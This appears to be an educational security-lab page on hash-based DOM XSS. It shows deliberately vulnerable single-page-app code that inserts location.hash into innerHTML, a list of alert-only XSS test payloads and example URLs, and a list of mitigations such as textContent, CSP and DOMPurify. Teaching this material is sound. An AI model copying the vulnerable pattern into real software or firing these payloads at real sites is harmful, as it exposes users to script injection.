Lab 2: Hash-based DOM XSS

Difficulty: Medium

Lab Overview

This lab demonstrates a DOM XSS vulnerability in a single-page application that uses URL hash fragments for navigation. The application dynamically loads content based on the hash value without proper sanitization.

Objective: Inject a DOM XSS payload using the URL hash that will execute when navigating to different sections.

Vulnerable JavaScript Code

// Vulnerable SPA navigation code
function loadPage() {
    var hash = window.location.hash.substring(1);
    var contentDiv = document.getElementById('content');
    
    if (!hash) {
        hash = 'home';
    }
    
    // Vulnerable: Direct insertion into DOM
    contentDiv.innerHTML = 
        '<h2>Welcome to ' + hash + '</h2>' +
        '<p>You are viewing the ' + hash + ' section.</p>' +
        '<div class="info">Current page: ' + hash + '</div>';
}

// Listen for hash changes
window.addEventListener('hashchange', loadPage);
window.addEventListener('load', loadPage);

// Additional vulnerable function
function updateBreadcrumb() {
    var hash = location.hash.slice(1);
    var breadcrumb = document.getElementById('breadcrumb');
    
    // Vulnerable: Direct innerHTML assignment
    breadcrumb.innerHTML = 
        '<nav><ol class="breadcrumb">' +
        '<li><a href="#home">Home</a></li>' +
        '<li>' + hash + '</li>' +
        '</ol></nav>';
}

Live Demo

Current Hash:

Navigation:

Vulnerable Content:

Breadcrumb:

Test URLs:

Try these URLs in your browser:

#about - Normal navigation
#<script>alert('XSS')</script> - XSS payload
#<img src=x onerror=alert('XSS')> - Image XSS
#<svg onload=alert('XSS')> - SVG XSS

Vulnerability Details

Type: DOM XSS via URL Hash
Severity: Medium-High
Source: window.location.hash
Sink: innerHTML (multiple locations)
Trigger: Hash change or page load
Issue: SPA navigation without sanitization

Test Payloads

Add these to the end of the URL after #:

<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')"></iframe>
<body onload=alert('XSS')>

Example URLs:

2.php#<script>alert('XSS')</script>
2.php#<img src=x onerror=alert('XSS')>

Mitigation Strategies

Use textContent instead of innerHTML
Implement whitelist-based navigation validation
Use Content Security Policy (CSP) headers
Sanitize all hash values before DOM insertion
Use safe DOM manipulation methods
Implement proper output encoding
Use a JavaScript security library like DOMPurify
Validate hash values against allowed routes